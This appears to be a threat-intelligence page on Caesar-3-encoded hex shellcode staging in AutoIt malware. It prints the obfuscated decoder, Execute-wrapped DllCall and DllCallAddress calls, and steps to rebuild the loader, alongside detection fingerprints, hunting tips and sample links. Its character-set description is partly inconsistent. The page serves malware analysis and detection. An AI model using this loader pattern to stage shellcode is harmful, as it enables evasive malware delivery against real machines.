Caesar-3 Hex Shellcode Staging

AutoIt malware pattern: shellcode bytes are encoded as a hex string (e.g., 0x558bec...), then each character of the hex string is Caesar-shifted by +3, and the result is stored as a large string variable in the compiled AutoIt script. At runtime, the script calls a decoder function that subtracts 3 from each character, producing the original hex string, which is then parsed back into raw binary and executed via DllCallAddress.

Detection / Fingerprint

• Look for Func W30gfpz1 or similar 7–10 character alphanumeric function names in decompiled AutoIt scripts.
• The decoder function signature is always Func Name($str, $shift) with a loop subtracting $shift from each Asc() value and appending Chr().
• The encoded payload appears as a single massive string literal with only characters in ranges 0-9, a-f, ;, :, {, |, and punctuation — all shifted +3 from their original hex values.
• Execute() wrappers around DllCall and DllCallAddress are common — the script splits API names across concatenated string fragments to evade static detection.

Implementation Pattern

; Caesar-3 decoder
Func W30gfpz1($Q3235393805O, $T323539398P9D)
    Local $M32363030NVHCEYSI = ""
    For $A3236RHH9CF0U = 1 To StringLen($Q3235393805O)
        Local $X32363033LP = Asc(StringMid($Q3235393805O, $A3236RHH9CF0U, 1))
        $X32363033LP -= $T323539398P9D
        $M32363030NVHCEYSI &= Chr($X32363033LP)
    Next
    Return $M32363030NVHCEYSI
EndFunc

; Usage: decode hex-encoded shellcode
$M3132OC5DKO7N = Execute("W30gfpz1($M3132oC5DKo7n, 3)")

; Allocate RWX and execute at offset 0x23b0
$A3136OYU96AXN = Execute("DllCall(W30gfpz1(...), ...)")
Execute("DllCallAddress(W30gfpz1(""lqw"", 3), $A3136OyU96aXn + 0x23b0)")

The decoded string is a raw hex dump starting with 0x (e.g., 0x558bec81ecc4030000...). The script or shellcode then converts this hex string back to binary.

Reproduce on Your Own VMs

1. Compile any x86 shellcode with nasm/fasm.
2. Convert to hex string: xxd -p shellcode.bin > shellcode.hex
3. Prepend 0x and Caesar-3 encode each character (shift ASCII value +3).
4. Embed the encoded string in an AutoIt script with the decoder function.
5. At runtime: decode → hex-to-binary → DllStructCreate → DllCallAddress at chosen offset.

Defensive Countermeasures

• Monitor for AutoIt3.exe spawning child processes with DllCallAddress in command-line telemetry.
• Hunt for %TEMP%\outvaunts, %TEMP%\asset, or similar nonce filenames dropped by FileInstall.
• Detect Caesar-3 encoded hex by looking for strings with unusually high counts of 3, 6, 9, ;, < characters.

Pages Where Observed

• 498f7bf3 — thirty-ninth AutoItSC cluster sibling; W30gfpz1 decoder, 28-byte XOR key, DllCallAddress at 0x23b0 ^[/intel/analyses/498f7bf34e8e067e036bebc978ab35e74b9a3ef31cc6ff58d8542a2566518e7a.html]
• 6718622d — thirty-second sibling; Caesar-3 with P30r6oDf decoder, Lityerses/emboweling payload names, inner payload is AgentTesla ^[/intel/analyses/6718622d94d373a123cac9f8cc6789bc1132eed19a5a9232dd0454ee869d910c.html]